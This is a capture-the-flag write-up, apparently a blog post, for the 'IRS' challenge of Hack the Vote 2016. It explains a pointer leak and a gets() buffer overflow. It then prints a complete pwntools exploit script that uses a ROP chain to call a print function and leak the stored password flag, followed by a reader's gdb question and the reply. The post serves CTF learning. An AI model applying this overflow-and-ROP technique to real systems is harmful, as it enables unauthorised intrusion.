Sunday, November 6, 2016

Hack the Vote CTF "IRS" Solution

RPISEC ran a capture the flag called Hack the Vote 2016 that was themed after the election. In the competition was the "IRS" challenge by pigeon.

IRS challenge clue:

Good day fellow Americans. In the interest of making filing your tax returns as easy and painless as possible, we've created this nifty lil' program to better serve you! Simply enter your name and file away! And don't you worry, everyone's file is password protected ;)

We get a pwnable x86 ELF Linux binary with non-executable stack. There's also details for a server to ncat to to exploit it.

The program contains about 10 functions that are relatively straightforward about what they do just going off the strings. Exploring the program, there is a blatant address leak when there is an attempt to create more than 5 total users in the system.

This %p is given to puts(). It dereferences to a pointer address that is the start of an array of structs which hold IRS tax return data. Here is the initialization code for Trump's struct:

Note that Trump's password is "not_the_flag" here, but on the server it will be the flag.

Preceding Trump's struct construction is a call to malloc() with 108 bytes, and throughout the program we only see 4 distinct fields. So the completed struct most likely is:

struct IRS_Data
    char name[50];
    char pass[50];
    int32_t income;
    int32_t deductibles;

In a function which I named edit_tax_return(), there is a call to gets(). This is a highly vulnerable C function that writes to a buffer from stdin with no constraints on length, and thus should probably never be used.

The exploitation process can be pretty simple if you take advantage of other functions present in the binary.

  1. Create enough users to leak the user array pointer
  2. Overflow the gets() in edit_tax_return() with a ROP chain
  3. ROP #1 calls view_tax_return() with the leaked pointer and index 0 (a.k.a. Trump)
  4. ROP #2 cleanly returns back to the start of main()
#!/usr/bin/env python2
from pwn import *

#r = remote("", 4127)
r = process('./irs.4ded.3360.elf')

r.send("1\n"*21)                # create a bunch of fake users
r.recvuntil("0x")               # get the leaked %p address

database_addr = int(r.recvline().strip(), 16)
log.success("Got leaked address %08x" % database_addr)

r.send("3\n"+"1\n"*4)           # edit a known user record

overflow = "A"*25
overflow += p32(0x0804892C)     # print_tax_return(pDB, i)
overflow += p32(0x08048a39)     # main(void), safe return
overflow += p32(database_addr)  # pDB
overflow += p32(0x00000000)     # i

r.send(overflow + "\n")         # 08048911    call    gets

r.recvuntil("Password: ")       # print_tax_return() Trump password

flag = r.recvline().split(" ")[0]


  1. Hi, I am relatively new to this and would like to know one thing:

    How do I get the connection between an address and a functions name for external symbols, eg. how do i know that puts() is at 0x80484d0?

    1. Apparantly, it was printf, not puts. You can use gdb, readelf, and objdump. gdb is the simplest since all the dynamic linking will be performed.

      (gdb) x/i 0x80484d0
      0x80484d0: jmp *0x804afc8
      (gdb) x/x 0x804afc8
      0x804afc8: 0xf7e3a020
      (gdb) x/i 0xf7e3a020
      0xf7e3a020 printf: